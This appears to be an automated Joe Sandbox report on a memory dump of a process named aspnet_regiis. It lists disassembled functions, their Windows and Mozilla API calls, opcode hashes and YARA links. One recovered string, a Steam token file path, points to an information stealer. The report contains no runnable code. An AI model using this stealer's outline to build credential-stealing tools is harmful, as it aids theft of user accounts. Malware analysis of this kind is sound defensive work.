Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416FB7 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00416FFE

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

Soft\Steam\steam_tokens.txt, xrefs: 0041700E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 212f9d999e26f76b20966994f13319e6fa11f2a26421251c526ef5ee57093a08
Instruction ID: 5852b7b14dd5e00f67c9332eee82213ee25541dc93f475b49d312086d811fdd4
Opcode Fuzzy Hash: 212f9d999e26f76b20966994f13319e6fa11f2a26421251c526ef5ee57093a08
Instruction Fuzzy Hash: A5012571E4010967CF00FBE6DD478CD7B74AF04358F514176FA0077152D779AA8A86D5

Function 00411E1F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Strings

1iA, xrefs: 00411E47

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: 1iA
API String ID: 3494564517-1863120733
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CBB8 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CBC9

Part of subcall function 0041BB6C: lstrlenA.KERNEL32(?,0041CBDA,0041CC7C,00000000,06400000,00000003,00000000,0041757F,.exe,00436C5C,00436C58,00436C54,00436C50,00436C4C,00436C48,00436C44), ref: 0041BB9E
Part of subcall function 0041BB6C: malloc.MSVCRT ref: 0041BBA6
Part of subcall function 0041BB6C: lstrcpyA.KERNEL32(00000000,?), ref: 0041BBB1

malloc.MSVCRT ref: 0041CC06

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: ee4a01d13f6e4d683757beabffaaf009a5c9ff74aa08d02828624340765fdc95
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: FBF0F0766482119BC7206F66EC8199BBB94EB447A0F054027EE08DB341EA38DC8083E8

Function 004184AE Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3e17c25d90c619f2ab5d0386ea12a1a651b811a3425f2742f6fd215a245168
Instruction ID: 897ff34fa84f0db00a67010516d6b662afcd179cf6ab32d5fb27a0f78a31b5bc
Opcode Fuzzy Hash: 0c3e17c25d90c619f2ab5d0386ea12a1a651b811a3425f2742f6fd215a245168
Instruction Fuzzy Hash: 34516031901201BBCE717BEE854AAF6B6D69FA0318B14048FF814AA232DF2D8DC45E5D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 9a3c1d09b9e40a7597b2cc7da5ca01c1bb16281017e0bed6a10907c5fe9172cb
Instruction ID: 1ebf8f7d6142e25c21b1da41a8396f416a06ca8f5008f9c8fada1f01269fc293
Opcode Fuzzy Hash: 9a3c1d09b9e40a7597b2cc7da5ca01c1bb16281017e0bed6a10907c5fe9172cb
Instruction Fuzzy Hash: 30F03AB1E0015DABDB15DF78DC909EEB7FDEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 0041C32D Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C33E

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 7e1ead8f594ffd37a66fe6362eb29383efb9f19d531e1b4cac10d1b83140b9e0
Instruction ID: f25db29369a0cc3c2a63bcf2525b0a85751bd4b2dcebbf23d4fd8c8c2b96b222
Opcode Fuzzy Hash: 7e1ead8f594ffd37a66fe6362eb29383efb9f19d531e1b4cac10d1b83140b9e0
Instruction Fuzzy Hash: 3021F6742007148FC320DF6ED485996B7F1FF49324B18886EEA8A8B722C776E881CB55

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6C7A6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7A6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7A6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C7A6D26

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C7A6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C7A6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C7A6D73
free.MOZGLUE(00000000), ref: 6C7A6D80
CertGetNameStringW.CRYPT32 ref: 6C7A6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C7A6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7A6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C7A6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C7A6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C7A6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C7A6E34
CreateFileW.KERNEL32 ref: 6C7A6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C7A6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7A6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C7A709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C7A7103
free.MOZGLUE(00000000), ref: 6C7A7153
CloseHandle.KERNEL32(?), ref: 6C7A7176
__Init_thread_footer.LIBCMT ref: 6C7A7209
__Init_thread_footer.LIBCMT ref: 6C7A723A
__Init_thread_footer.LIBCMT ref: 6C7A726B
__Init_thread_footer.LIBCMT ref: 6C7A729C
__Init_thread_footer.LIBCMT ref: 6C7A72DC
__Init_thread_footer.LIBCMT ref: 6C7A730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C7A73C2
VerSetConditionMask.NTDLL ref: 6C7A73F3
VerSetConditionMask.NTDLL ref: 6C7A73FF
VerSetConditionMask.NTDLL ref: 6C7A7406
VerSetConditionMask.NTDLL ref: 6C7A740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C7A741A
moz_xmalloc.MOZGLUE(?), ref: 6C7A755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7A7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C7A7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7A7598
free.MOZGLUE(00000000), ref: 6C7A75AC

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

Strings

wintrust.dll, xrefs: 6C7A72CD
(, xrefs: 6C7A768A
SHA256, xrefs: 6C7A6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C7A72C8

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6a89dff0e1f6f4733007d759e4adb9f1bdd0fee28c8c1d5ad38577399a872d17
Instruction ID: 083584f36766e535edbd20774edfaac258afafcafed6b75fc77ddec9f409dcd8
Opcode Fuzzy Hash: 6a89dff0e1f6f4733007d759e4adb9f1bdd0fee28c8c1d5ad38577399a872d17
Instruction Fuzzy Hash: CA52E7B1A002159FEB21DF64CD89BAA77F8FF55708F1045A9E50897A40DB30AF85CF91

Function 6C7DF070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7DF09B

Part of subcall function 6C7B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B85
Part of subcall function 6C7B5B50: EnterCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5B90
Part of subcall function 6C7B5B50: LeaveCriticalSection.KERNEL32(6C81F688,?,?,?,6C7B56EE,?,00000001), ref: 6C7B5BD8
Part of subcall function 6C7B5B50: GetTickCount64.KERNEL32 ref: 6C7B5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C7DF0AC

Part of subcall function 6C7B5C50: GetTickCount64.KERNEL32 ref: 6C7B5D40
Part of subcall function 6C7B5C50: EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C7DF0BE

Part of subcall function 6C7B5C50: __aulldiv.LIBCMT ref: 6C7B5DB4
Part of subcall function 6C7B5C50: LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C7DF155
GetCurrentThreadId.KERNEL32 ref: 6C7DF1E0
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF1ED
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF212
GetCurrentThreadId.KERNEL32 ref: 6C7DF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C7DF248
GetCurrentThreadId.KERNEL32 ref: 6C7DF2AE
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF2BB
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DF2F8

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
